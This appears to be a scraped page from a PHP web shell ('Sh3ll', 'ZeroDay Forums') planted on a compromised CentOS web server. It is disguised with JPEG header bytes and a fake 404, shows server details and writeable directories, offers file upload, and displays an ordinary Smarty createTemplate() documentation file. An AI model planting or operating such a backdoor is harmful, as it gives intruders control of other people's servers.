����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/vendor/smarty/smarty/docs/programmers/api-functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/netphim/vendor/smarty/smarty/docs/programmers/api-functions/api-create-template.md
createTemplate()

returns a template object

Description
===========

Smarty\_Internal\_Template

createTemplate

string

template

object

parent

Smarty\_Internal\_Template

createTemplate

string

template

array

data

Smarty\_Internal\_Template

createTemplate

string

template

string

cache\_id

string

compile\_id

object

parent

Smarty\_Internal\_Template

createTemplate

string

template

string

cache\_id

string

compile\_id

array

data

This creates a template object which later can be rendered by the
[display](#api.display) or [fetch](#api.fetch) method. It uses the
following parameters:

-   `template` must be a valid [template resource](#resources) type and
    path.

<!-- -->


    <?php
    include('Smarty.class.php');
    $smarty = new Smarty;

    // create template object with its private variable scope
    $tpl = $smarty->createTemplate('index.tpl');

    // assign variable to template scope
    $tpl->assign('foo','bar');

    // display the template
    $tpl->display();
    ?>

        

See also [`display()`](#api.display), and
[`templateExists()`](#api.template.exists).

ZeroDay Forums Mini